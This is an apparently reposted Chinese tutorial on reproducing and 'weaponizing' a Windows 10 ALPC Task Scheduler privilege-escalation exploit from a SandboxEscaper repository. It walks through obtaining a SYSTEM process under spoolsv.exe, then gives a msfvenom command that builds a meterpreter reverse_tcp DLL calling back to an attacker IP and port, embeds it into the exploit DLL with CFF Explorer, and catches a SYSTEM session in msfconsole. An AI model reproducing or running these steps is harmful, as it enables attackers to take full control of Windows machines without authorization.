Windows 10 提权漏洞复现及武器化利用

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了Windows 10 提权漏洞复现及武器化利用，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含937字，纯文字阅读大概需要2分钟。

内容图文

项目地址：https://github.com/SandboxEscaper/randomrepo

相关工具的下载地址：

Process Explorer：https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer

CFF Explorer：https://ntcore.com/?page_id=388

复现：

打开一个记事本和 Process Explorer

记事本的 pid 号为 1944

接下来利用漏洞

上图的 1944 为记事本的 pid 号，回车

spoolsv.exe 下多了个进程树

这个进程树不会被 kill

右键 -> Kill Process Tree

当前进程为 System 进程

武器化利用

生成一个 dll 文件

1 2	┌─[root@sch01ar]─[~] └──??#msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.220.160 lport=4444 -f dll -o sch01ar.dll

把生成的 dll 文件拿到 Windows 10 上

用 CFF Explorer 打开原先的 ALPC-TaskSched-LPE.dll

点 Resource Editor

右键 Replace Resource

然后选择 sch01ar.dll

保存

是否覆盖原文件，选择是

开启 msf

1 2	┌─[root@sch01ar]─[~] └──??#msfconsole

进行相关选项的配置，并开启监听

切换回 Windows 10

会弹出一个窗口

msf 返回了会话

msf exploit(handler) > sessions -i 1

system 权限

内容总结

以上是互联网集市为您收集整理的Windows 10 提权漏洞复现及武器化利用全部内容，希望文章能够帮你解决Windows 10 提权漏洞复现及武器化利用所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

---